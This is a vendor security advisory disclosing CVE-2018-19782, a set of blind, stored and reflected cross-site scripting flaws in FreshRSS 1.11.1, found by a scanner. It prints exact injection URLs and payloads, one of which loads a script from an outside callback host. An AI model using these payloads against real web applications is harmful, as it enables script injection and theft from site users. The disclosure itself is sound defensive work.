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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Multiple Cross-Site Scripting Vulnerabilities in FreshRSS 1.11.1

Information
--------------------

Advisory by Netsparker
Name: Multiple Cross-Site Scripting Vulnerabilities in FreshRSS
Affected Software: FreshRSS
Affected Versions: 1.11.1
Homepage: https://freshrss.org/
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID : CVE-2018-19782
CVSS Score (3.0): 6.3
Netsparker Advisory Reference: NS-18-024

Technical Details
--------------------

Blind Cross-site Scripting

URL  : http://ns.app:8085/i/?c=auth&a='"--></style></scRipt><scRipt src="//4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho.r87.me"></scRipt>  Parameter Name : a
Parameter Type  : GET
Attack Pattern  : %27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2f4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e

Stored Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=error  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : '"--></style></scRipt><scRipt>netsparker(0x00139F)</scRipt>  

Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001DCF)%3e&a=actualize&id=-1  
Parameter Name  : c
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001DCF)%3e  

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?a=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001F6B)%3e&get=s&order=ASC  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001F6B)%3e  

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

12th November 2018- First Contact
28th November 2018 - Vendor Fixed
3rd December 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.